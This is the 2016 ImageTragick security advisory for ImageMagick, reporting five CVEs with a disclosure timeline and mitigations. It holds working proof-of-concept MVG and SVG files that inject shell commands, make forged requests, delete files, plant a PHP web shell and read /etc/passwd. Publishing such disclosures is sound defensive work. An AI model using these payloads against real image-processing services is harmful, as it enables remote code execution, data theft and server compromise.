ImageMagick 6.9.3-9 / 7.0.1-0 - Multiple Vulnerabilities (ImageTragick)

Nikolay Ermishkin from the Mail.Ru Security Team discovered several

vulnerabilities in ImageMagick.

We've reported these issues to developers of ImageMagick and they made a

fix for RCE in sources and released new version (6.9.3-9 released

2016-04-30 http://legacy.imagemagick.org/script/changelog.php), but this

fix seems to be incomplete. We are still working with developers.



ImageMagick: Multiple vulnerabilities in image decoder



1. CVE-2016-3714 - Insufficient shell characters filtering leads to

(potentially remote) code execution



Insufficient filtering for filename passed to delegate's command allows

remote code execution during conversion of several file formats.



ImageMagick allows to process files with external libraries. This

feature is called 'delegate'. It is implemented as a system() with

command string ('command') from the config file delegates.xml with

actual value for different params (input/output filenames etc). Due to

insufficient %M param filtering it is possible to conduct shell command

injection. One of the default delegate's command is used to handle https

requests:

"wget" -q -O "%o" "https:%M"

where %M is the actual link from the input. It is possible to pass the

value like `https://example.com"|ls "-la` and execute unexpected 'ls

-la'. (wget or curl should be installed)



$ convert 'https://example.com"|ls "-la' out.png

total 32

drwxr-xr-x 6 user group 204 Apr 29 23:08 .

drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

...





The most dangerous part is ImageMagick supports several formats like

svg, mvg (thanks to https://hackerone.com/stewie for his research of

this file format and idea of the local file read vulnerability in

ImageMagick, see below), maybe some others - which allow to include

external files from any supported protocol including delegates. As a

result, any service, which uses ImageMagick to process user supplied

images and uses default delegates.xml / policy.xml, may be vulnerable to

this issue.



exploit.mvg

-=-=-=-=-=-=-=-=-

push graphic-context

viewbox 0 0 640 480

fill 'url(https://example.com/image.jpg"|ls "-la)'

pop graphic-context



exploit.svg

-=-=-=-=-=-=-=-=-

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"

"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg width="640px" height="480px" version="1.1"

xmlns="http://www.w3.org/2000/svg" xmlns:xlink=

"http://www.w3.org/1999/xlink">

<image xlink:href="https://example.com/image.jpg"|ls "-la"

x="0" y="0" height="640px" width="480px"/>

</svg>



$ convert exploit.mvg out.png

total 32

drwxr-xr-x 6 user group 204 Apr 29 23:08 .

drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

...



ImageMagick tries to guess the type of the file by it's content, so

exploitation doesn't depend on the file extension. You can rename

exploit.mvg to exploit.jpg or exploit.png to bypass file type checks. In

addition, ImageMagick's tool 'identify' is also vulnerable, so it can't

be used as a protection to filter file by it's content and creates

additional attack vectors (e.g. via 'less exploit.jpg', because

'identify' is invoked via lesspipe.sh).

Ubuntu 14.04 and OS X, latest system packages (ImageMagick 6.9.3-7 Q16

x86_64 2016-04-27 and ImageMagick 6.8.6-10 2016-04-29 Q16) and latest

sources from 6 and 7 branches all are vulnerable. Ghostscript and wget

(or curl) should be installed on the system for successful PoC

execution. For svg PoC ImageMagick's svg parser should be used, not rsvg.



All other issues also rely on dangerous ImageMagick feature of external

files inclusion from any supported protocol in formats like svg and mvg.



2. CVE-2016-3718 - SSRF

It is possible to make HTTP GET or FTP request:



ssrf.mvg

-=-=-=-=-=-=-=-=-

push graphic-context

viewbox 0 0 640 480

fill 'url(http://example.com/)'

pop graphic-context



$ convert ssrf.mvg out.png # makes http request to example.com



3. CVE-2016-3715 - File deletion

It is possible to delete files by using ImageMagick's 'ephemeral' pseudo

protocol which deletes files after reading:



delete_file.mvg

-=-=-=-=-=-=-=-=-

push graphic-context

viewbox 0 0 640 480

image over 0,0 0,0 'ephemeral:/tmp/delete.txt'

popgraphic-context



$ touch /tmp/delete.txt

$ convert delete_file.mvg out.png # deletes /tmp/delete.txt



4. CVE-2016-3716 - File moving

It is possible to move image files to file with any extension in any

folder by using ImageMagick's 'msl' pseudo protocol. msl.txt and

image.gif should exist in known location - /tmp/ for PoC (in real life

it may be web service written in PHP, which allows to upload raw txt

files and process images with ImageMagick):



file_move.mvg

-=-=-=-=-=-=-=-=-

push graphic-context

viewbox 0 0 640 480

image over 0,0 0,0 'msl:/tmp/msl.txt'

popgraphic-context



/tmp/msl.txt

-=-=-=-=-=-=-=-=-

<?xml version="1.0" encoding="UTF-8"?>

<image>

<read filename="/tmp/image.gif" />

<write filename="/var/www/shell.php" />

</image>



/tmp/image.gif - image with php shell inside

(https://www.secgeek.net/POC/POC.gif for example)



$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php



5. CVE-2016-3717 - Local file read (independently reported by original

research author - https://hackerone.com/stewie)

It is possible to get content of the files from the server by using

ImageMagick's 'label' pseudo protocol:



file_read.mvg

-=-=-=-=-=-=-=-=-

push graphic-context

viewbox 0 0 640 480

image over 0,0 0,0 'label:@...c/passwd'

pop graphic-context



$ convert file_read.mvg out.png # produces file with text rendered from

/etc/passwd





How to mitigate the vulnerability.



Available patches appear to be incomplete.

If you use ImageMagick or an affected library, we recommend you mitigate

the known vulnerabilities by doing at least one these two things (but

preferably both!):

1. Verify that all image files begin with the expected �magic bytes�

corresponding to the image file types you support before sending them to

ImageMagick for processing. (see FAQ for more info)

2. Use a policy file to disable the vulnerable ImageMagick coders. The

global policy for ImageMagick is usually found in �/etc/ImageMagick�.

This policy.xml example will disable the coders EPHEMERAL, URL, MVG, and

MSL:



<policymap>

    <policy domain="coder" rights="none" pattern="EPHEMERAL" />

    <policy domain="coder" rights="none" pattern="URL" />

    <policy domain="coder" rights="none" pattern="HTTPS" />

    <policy domain="coder" rights="none" pattern="MVG" />

    <policy domain="coder" rights="none" pattern="MSL" />

</policymap>





Vulnerability Disclosure Timeline:

April, 21 2016 - file read vulnerability report for one of My.Com

services from https://hackerone.com/stewie received by Mail.Ru Security

Team. Issue is reportedly known to ImageMagic team.

April, 21 2016 - file read vulnerability patched by My.Com development team

April, 28 2016 - code execution vulnerability in ImageMagick was found

by Nikolay Ermishkin from Mail.Ru Security Team while researching

original report

April, 30 2016 - code execution vulnerability reported to ImageMagick

development team

April, 30 2016 - code execution vulnerability fixed by ImageMagick

(incomplete fix)

April, 30 2016 - fixed ImageMagic version 6.9.3-9 published (incomplete fix)

May, 1 2016 - ImageMagic informed of the fix bypass

May, 2 2016 - limited disclosure to 'distros' mailing list

May, 3 2016 - public disclosure at https://imagetragick.com/